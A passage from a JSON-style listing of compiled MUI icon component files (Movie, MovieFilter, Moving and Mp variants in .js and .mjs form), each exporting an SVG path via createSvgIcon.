    "path": "packages/mui-icons-material/lib/MovieCreationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6.47V18h16v-8H5.76z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 4 2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4zm2 14H4V6.47L5.76 10H20z\"\n}, \"1\")], 'MovieCreationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieCreationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6.47V18h16v-8H5.76z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 4 2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4zm2 14H4V6.47L5.76 10H20z\"\n}, \"1\")], 'MovieCreationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieEdit.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 10h18V6c0-1.1-.9-2-2-2h-3l2 4h-3l-2-4h-2l2 4h-3L9 4H7l2 4H6L4 4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h8v-2H4zm10 8.88V21h2.12l5.17-5.17-2.12-2.12zM22.71 13l-.71-.71a.996.996 0 0 0-1.41 0l-.71.71L22 15.12l.71-.71c.39-.39.39-1.02 0-1.41\"\n}), 'MovieEdit');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieEdit.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 10h18V6c0-1.1-.9-2-2-2h-3l2 4h-3l-2-4h-2l2 4h-3L9 4H7l2 4H6L4 4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h8v-2H4zm10 8.88V21h2.12l5.17-5.17-2.12-2.12zM22.71 13l-.71-.71a.996.996 0 0 0-1.41 0l-.71.71L22 15.12l.71-.71c.39-.39.39-1.02 0-1.41\"\n}), 'MovieEdit');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieFilter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 4 2 3h-3l-2-3h-2l2 3h-3l-2-3H8l2 3H7L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4zm-6.75 11.25L10 18l-1.25-2.75L6 14l2.75-1.25L10 10l1.25 2.75L14 14zm5.69-3.31L16 14l-.94-2.06L13 11l2.06-.94L16 8l.94 2.06L19 11z\"\n}), 'MovieFilter');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieFilter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 4 2 3h-3l-2-3h-2l2 3h-3l-2-3H8l2 3H7L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4zm-6.75 11.25L10 18l-1.25-2.75L6 14l2.75-1.25L10 10l1.25 2.75L14 14zm5.69-3.31L16 14l-.94-2.06L13 11l2.06-.94L16 8l.94 2.06L19 11z\"\n}), 'MovieFilter');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieFilterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 11-.94 2.06L7 14l2.06.94L10 17l.94-2.06L13 14l-2.06-.94zm8.01-7 2 4h-3l-2-4h-2l2 4h-3l-2-4h-2l2 4h-3l-2-4h-1c-1.1 0-1.99.9-1.99 2l-.01 12c0 1.1.9 2 2 2h16c1.1 0 1.99-.9 1.99-2V4zm2 14h-16V6.47L5.77 10H16l-.63 1.37L14 12l1.37.63L16 14l.63-1.37L18 12l-1.37-.63L16 10h4.01z\"\n}), 'MovieFilterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieFilterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 11-.94 2.06L7 14l2.06.94L10 17l.94-2.06L13 14l-2.06-.94zm8.01-7 2 4h-3l-2-4h-2l2 4h-3l-2-4h-2l2 4h-3l-2-4h-1c-1.1 0-1.99.9-1.99 2l-.01 12c0 1.1.9 2 2 2h16c1.1 0 1.99-.9 1.99-2V4zm2 14h-16V6.47L5.77 10H16l-.63 1.37L14 12l1.37.63L16 14l.63-1.37L18 12l-1.37-.63L16 10h4.01z\"\n}), 'MovieFilterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieFilterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.5 4H18l1.74 2.61c.11.17-.01.39-.21.39h-2c-.33 0-.65-.17-.83-.45L15 4h-2l1.74 2.61c.11.17-.01.39-.21.39h-2c-.33 0-.65-.17-.83-.45L10 4H8l1.74 2.61c.11.17-.01.39-.21.39h-2c-.33 0-.64-.17-.83-.45L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4.5c0-.28-.22-.5-.5-.5M11.25 15.25 10 18l-1.25-2.75L6 14l2.75-1.25L10 10l1.25 2.75L14 14zm5.69-3.31L16 14l-.94-2.06L13 11l2.06-.94L16 8l.94 2.06L19 11z\"\n}), 'MovieFilterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieFilterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.5 4H18l1.74 2.61c.11.17-.01.39-.21.39h-2c-.33 0-.65-.17-.83-.45L15 4h-2l1.74 2.61c.11.17-.01.39-.21.39h-2c-.33 0-.65-.17-.83-.45L10 4H8l1.74 2.61c.11.17-.01.39-.21.39h-2c-.33 0-.64-.17-.83-.45L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4.5c0-.28-.22-.5-.5-.5M11.25 15.25 10 18l-1.25-2.75L6 14l2.75-1.25L10 10l1.25 2.75L14 14zm5.69-3.31L16 14l-.94-2.06L13 11l2.06-.94L16 8l.94 2.06L19 11z\"\n}), 'MovieFilterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieFilterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 4 2 3h-3l-2-3h-2l2 3h-3l-2-3H8l2 3H7L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4zm-6.75 11.25L10 18l-1.25-2.75L6 14l2.75-1.25L10 10l1.25 2.75L14 14zm5.69-3.31L16 14l-.94-2.06L13 11l2.06-.94L16 8l.94 2.06L19 11z\"\n}), 'MovieFilterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieFilterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 4 2 3h-3l-2-3h-2l2 3h-3l-2-3H8l2 3H7L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4zm-6.75 11.25L10 18l-1.25-2.75L6 14l2.75-1.25L10 10l1.25 2.75L14 14zm5.69-3.31L16 14l-.94-2.06L13 11l2.06-.94L16 8l.94 2.06L19 11z\"\n}), 'MovieFilterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieFilterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.63 11.37 18 12l-1.37.63L16 14l-.63-1.37L14 12l1.37-.63L16 10H5.77L4.01 6.47V18h16v-8H16zm-5.69 3.57L10 17l-.94-2.06L7 14l2.06-.94L10 11l.94 2.06L13 14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 11-.94 2.06L7 14l2.06.94L10 17l.94-2.06L13 14l-2.06-.94zm8.01-7 2 4h-3l-2-4h-2l2 4h-3l-2-4h-2l2 4h-3l-2-4h-1c-1.1 0-1.99.9-1.99 2l-.01 12c0 1.1.9 2 2 2h16c1.1 0 1.99-.9 1.99-2V4zm2 14h-16V6.47L5.77 10H16l-.63 1.37L14 12l1.37.63L16 14l.63-1.37L18 12l-1.37-.63L16 10h4.01z\"\n}, \"1\")], 'MovieFilterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieFilterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.63 11.37 18 12l-1.37.63L16 14l-.63-1.37L14 12l1.37-.63L16 10H5.77L4.01 6.47V18h16v-8H16zm-5.69 3.57L10 17l-.94-2.06L7 14l2.06-.94L10 11l.94 2.06L13 14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 11-.94 2.06L7 14l2.06.94L10 17l.94-2.06L13 14l-2.06-.94zm8.01-7 2 4h-3l-2-4h-2l2 4h-3l-2-4h-2l2 4h-3l-2-4h-1c-1.1 0-1.99.9-1.99 2l-.01 12c0 1.1.9 2 2 2h16c1.1 0 1.99-.9 1.99-2V4zm2 14h-16V6.47L5.77 10H16l-.63 1.37L14 12l1.37.63L16 14l.63-1.37L18 12l-1.37-.63L16 10h4.01z\"\n}, \"1\")], 'MovieFilterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6.47 5.76 10H20v8H4zM22 4h-4l2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2z\"\n}), 'MovieOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6.47 5.76 10H20v8H4zM22 4h-4l2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2z\"\n}), 'MovieOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 4 1.82 3.64c.08.16-.04.36-.22.36h-1.98c-.38 0-.73-.21-.89-.55L15 4h-2l1.82 3.64c.08.16-.04.36-.22.36h-1.98c-.38 0-.73-.21-.89-.55L10 4H8l1.82 3.64c.08.16-.04.36-.22.36H7.62c-.38 0-.73-.21-.9-.55L5 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-.55-.45-1-1-1z\"\n}), 'MovieRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 4 1.82 3.64c.08.16-.04.36-.22.36h-1.98c-.38 0-.73-.21-.89-.55L15 4h-2l1.82 3.64c.08.16-.04.36-.22.36h-1.98c-.38 0-.73-.21-.89-.55L10 4H8l1.82 3.64c.08.16-.04.36-.22.36H7.62c-.38 0-.73-.21-.9-.55L5 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-.55-.45-1-1-1z\"\n}), 'MovieRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 4 2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4z\"\n}), 'MovieSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 4 2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4z\"\n}), 'MovieSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10H5.76L4 6.47V18h16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.01 6 2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4h-4l2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-1.99.9-1.99 2M4 6.47 5.76 10H20v8H4z\"\n}, \"1\")], 'MovieTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovieTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10H5.76L4 6.47V18h16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.01 6 2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4h-4l2 4h-3l-2-4h-2l2 4h-3l-2-4H8l2 4H7L5 4H4c-1.1 0-1.99.9-1.99 2M4 6.47 5.76 10H20v8H4z\"\n}, \"1\")], 'MovieTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Moving.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.71 9.71 22 12V6h-6l2.29 2.29-4.17 4.17c-.39.39-1.02.39-1.41 0l-1.17-1.17c-1.17-1.17-3.07-1.17-4.24 0L2 16.59 3.41 18l5.29-5.29c.39-.39 1.02-.39 1.41 0l1.17 1.17c1.17 1.17 3.07 1.17 4.24 0z\"\n}), 'Moving');"
  },
  {
    "path": "packages/mui-icons-material/lib/Moving.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.71 9.71 22 12V6h-6l2.29 2.29-4.17 4.17c-.39.39-1.02.39-1.41 0l-1.17-1.17c-1.17-1.17-3.07-1.17-4.24 0L2 16.59 3.41 18l5.29-5.29c.39-.39 1.02-.39 1.41 0l1.17 1.17c1.17 1.17 3.07 1.17 4.24 0z\"\n}), 'Moving');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 9.42V12h2V6h-6v2h2.58l-4.46 4.46c-.39.39-1.02.39-1.41 0l-1.17-1.17c-1.17-1.17-3.07-1.17-4.24 0L2 16.59 3.41 18l5.29-5.29c.39-.39 1.02-.39 1.41 0l1.17 1.17c1.17 1.17 3.07 1.17 4.24 0z\"\n}), 'MovingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 9.42V12h2V6h-6v2h2.58l-4.46 4.46c-.39.39-1.02.39-1.41 0l-1.17-1.17c-1.17-1.17-3.07-1.17-4.24 0L2 16.59 3.41 18l5.29-5.29c.39-.39 1.02-.39 1.41 0l1.17 1.17c1.17 1.17 3.07 1.17 4.24 0z\"\n}), 'MovingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.7 17.29c.39.39 1.02.39 1.41 0L8.7 12.7c.39-.39 1.02-.39 1.41 0l1.17 1.17c1.17 1.17 3.07 1.17 4.24 0L19.7 9.7l1.44 1.44c.31.31.85.09.85-.35V6.5c.01-.28-.21-.5-.49-.5h-4.29c-.45 0-.67.54-.35.85l1.44 1.44-4.17 4.17c-.39.39-1.02.39-1.41 0l-1.17-1.17c-1.17-1.17-3.07-1.17-4.24 0L2.7 15.88c-.38.39-.38 1.03 0 1.41\"\n}), 'MovingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.7 17.29c.39.39 1.02.39 1.41 0L8.7 12.7c.39-.39 1.02-.39 1.41 0l1.17 1.17c1.17 1.17 3.07 1.17 4.24 0L19.7 9.7l1.44 1.44c.31.31.85.09.85-.35V6.5c.01-.28-.21-.5-.49-.5h-4.29c-.45 0-.67.54-.35.85l1.44 1.44-4.17 4.17c-.39.39-1.02.39-1.41 0l-1.17-1.17c-1.17-1.17-3.07-1.17-4.24 0L2.7 15.88c-.38.39-.38 1.03 0 1.41\"\n}), 'MovingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.71 9.71 22 12V6h-6l2.29 2.29-4.17 4.17c-.39.39-1.02.39-1.41 0l-1.17-1.17c-1.17-1.17-3.07-1.17-4.24 0L2 16.59 3.41 18l5.29-5.29c.39-.39 1.02-.39 1.41 0l1.17 1.17c1.17 1.17 3.07 1.17 4.24 0z\"\n}), 'MovingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.71 9.71 22 12V6h-6l2.29 2.29-4.17 4.17c-.39.39-1.02.39-1.41 0l-1.17-1.17c-1.17-1.17-3.07-1.17-4.24 0L2 16.59 3.41 18l5.29-5.29c.39-.39 1.02-.39 1.41 0l1.17 1.17c1.17 1.17 3.07 1.17 4.24 0z\"\n}), 'MovingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.71 9.71 22 12V6h-6l2.29 2.29-4.17 4.17c-.39.39-1.02.39-1.41 0l-1.17-1.17c-1.17-1.17-3.07-1.17-4.24 0L2 16.59 3.41 18l5.29-5.29c.39-.39 1.02-.39 1.41 0l1.17 1.17c1.17 1.17 3.07 1.17 4.24 0z\"\n}), 'MovingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MovingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.71 9.71 22 12V6h-6l2.29 2.29-4.17 4.17c-.39.39-1.02.39-1.41 0l-1.17-1.17c-1.17-1.17-3.07-1.17-4.24 0L2 16.59 3.41 18l5.29-5.29c.39-.39 1.02-.39 1.41 0l1.17 1.17c1.17 1.17 3.07 1.17 4.24 0z\"\n}), 'MovingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.5 9H11c.55 0 1 .45 1 1v5h-1.5v-4.5h-1v3H8v-3H7V15H5.5v-5c0-.55.45-1 1-1m9 6H14V9h3.5c.55 0 1 .45 1 1v2.5c0 .55-.45 1-1 1h-2zm0-3H17v-1.5h-1.5z\"\n}), 'Mp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.5 9H11c.55 0 1 .45 1 1v5h-1.5v-4.5h-1v3H8v-3H7V15H5.5v-5c0-.55.45-1 1-1m9 6H14V9h3.5c.55 0 1 .45 1 1v2.5c0 .55-.45 1-1 1h-2zm0-3H17v-1.5h-1.5z\"\n}), 'Mp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MpOutlined.js",
